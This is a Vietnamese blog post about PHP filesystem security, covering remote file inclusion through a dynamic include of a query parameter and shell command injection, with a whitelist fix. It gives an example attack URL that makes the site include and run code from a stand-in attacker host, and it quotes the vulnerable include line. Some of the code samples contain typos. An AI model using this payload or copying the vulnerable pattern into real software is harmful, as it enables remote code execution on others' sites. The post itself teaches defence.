Thứ Sáu, 28 tháng 1, 2011

Bảo mật Filesystem trong lập trình PHP

PHP có khả năng truy cập trực tiếp hệ thống files và có thể thực hiện các lệnh shell, nó cung cấp cho các nhà phát triển sức mạnh lớn, nó thực sự nguy hiểm khi làm hỏng dữ liệu đầu cuối bằng các comand line. Một lần nữa dữ liệu lại phải lọc.

1. Thực thi mã lệnh từ xa(remote Code Injection )

Khi khai báo chèn vào file bằng include hoặc requre chú ý cẩn thận khi sử dụng dữ liệu “hỏng” để tạo một sự khai báo bao hàm(include) động trên dữ liệu nhập từ client, bởi vì một lỗi có thể dễ dàng cho phép hacker có thể thực hiện các cuộc tấn công từ xa. Một cuộc tấn công từ xa xẩy ra khi một kẻ tấn công có thể thực hiện đoạn mã mà họ đã chọn trên ứng dụng của chúng ta. Điều đó giúp cho kẻ tấn công có thể tàn phá cả ứng dụng lẫn hệ thống.
Ví dụ, rất nhiều ứng dụng cho phép tạo và sử dụng chuỗi truy vấn vào cấu trúc những mục của ứng dụng ví dụ : http://example.org/?section=news . Một ứng dụng có thể cấu trúc inclue đề chèn mã news vào ứng dụng:
clude “{$_GET[’section’]}/data.inc.php”;
khi sử dụng URL truy cập vào những mục news/data.inc.php . Tuy nhiên phải cân nhắc kỹ chuyện gì xẩy ra nếu các kẻ tấn công thay đổi chuỗi truy vấn có hại cho site:

http://example.org/?section=http%3A%2F%2Fevil.example.org%2Fattack.inc%3F

dữ liệu nguy hiểm sẽ đuợc include vào hệ thống kết quả của cách làm trên là
include “http://evil.example.org/attack.inc?/data.inc.php”;
attack.inc được inclue vào hệ thống và thực thi mã trong đó, các kẻ tấn công có thể làm bất kỳ điều gì mà họ muốn chỉ cẩn để nó trong attack.inc . when đó kẻ tấn công có thể chiếm tất cả quyền mà họ muốn.
Ví dụ:

Mã:

$clean = array();
$sections = array(’home’, ’news’, ’photos’, ’blog’);
if (in_array($_GET[’section’], $sections))
{
$clean[’section’] = $_GET[’section’]
}else {
$clean[’section’] = ’home’
}
include "{clean[’section’]}/data.inc.php";

2. Các lệnh injecttion

Một site cho phép include dữ liệu động vào file rất nguy hiểm, nó cho phép user thực thi các lệnh trên hệ thống. PHP cung cấp các các hàm như exec(), system() và passthru() giúp chúng ta có thể thực thi những lệnh trên hệ thống. Việc lọc whilelist giảm thiệu các câu lệnh có hại cho hệ thống.
Php cung cấp hàm escapeshellcmd() and escapeshellarg() Đê lịa bỏ những cấu lệnh escape shell cho hệ thống

Theo lập trình việt

Nguồn : Bảo mật Filesystem trong lập trình PHP


0 nhận xét:

Đăng nhận xét